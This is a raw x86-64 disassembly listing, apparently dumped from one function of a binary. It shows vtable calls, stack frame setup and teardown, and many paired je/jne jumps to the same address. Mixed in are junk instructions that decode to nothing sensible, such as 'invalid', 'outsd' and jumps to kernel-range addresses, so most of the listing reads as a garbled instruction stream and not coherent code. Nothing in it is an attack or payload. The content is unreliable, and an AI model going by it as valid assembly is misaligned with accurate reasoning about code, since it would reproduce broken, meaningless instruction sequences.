call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
call qword [rax + 8]
test eax, eax
je 0xcc287d
jne 0xcc287d
por mm3, qword [rdx - 0x17]
je 0xcc27ed
jne 0xcc27ed
je 0xffffffff84dbd62d
jmp 0xcc2821
sub rsp, 0x28
mov rdi, rcx
je 0xcc290b
jmp 0xcc2932
push rdi
push rbp
push rbx
jmp 0xcc2845
je 0xcc2920
mov rax, qword [rcx]
jmp 0xcc27ad
call fcn.00cc3060
jmp 0xcc295e
jmp 0x184ac90
je 0xcc293b
je 0xcc294f
jne 0xcc294f
je 0xffffffff8e503819
je 0xcc2925
add byte [rax], al
add byte [rax - 0x75], cl
outsd dx, dword [rsi]
adc byte [rdi], cl
test ch, cl
add byte [rax], al
add byte [rdi], cl
test edi, eax
add byte [rax], al
add byte [rax - 0x7b], cl
leave
mov rbp, qword [rdi + 0x10]
je 0xcc296f
jne 0xcc296f
test rcx, rcx
jmp 0xcc285e
call qword [rax + 0x18]
lea edx, [rax + 1]
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
jmp 0xcc27bb
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [rax + 0x30]
test rax, rax
je 0xcc293b
mov rcx, qword [rdi + 0x10]
je 0xcc2801
jne 0xcc2801
push r14
push rsi
jmp 0xcc2857
je 0xcc2842
jne 0xcc2842
mov rcx, qword [rcx + 0x10]
je 0xcc28a8
jne 0xcc28a8
jmp 0x1b7e99d
test eax, eax
jmp 0xcc2918
jne 0xcc27e0
jmp 0xcc293b
xor r14d, r14d
jmp 0xcc293b
je 0xcc2935
jne 0xcc2935
jmp 0xcc287c
jne 0xcc290b
jmp 0xcde77a
mov r14d, 1
mov eax, r14d
jmp 0xcc2942
je 0xcc281b
jne 0xcc281b
jmp 0x392bb69b
lea rbx, [rdi + 0x38]
lea rsi, [rdi + 0x3c]
jmp 0xcc27f5
cmp eax, 1
je 0xcc2892
jne 0xcc2892
je 0x111b4bb
mov rax, qword [rbp]
jmp 0xcc2838
invalid
add al, ah
dec dword [rbp + 0x29]
imul r9, rbx, 0xa2c13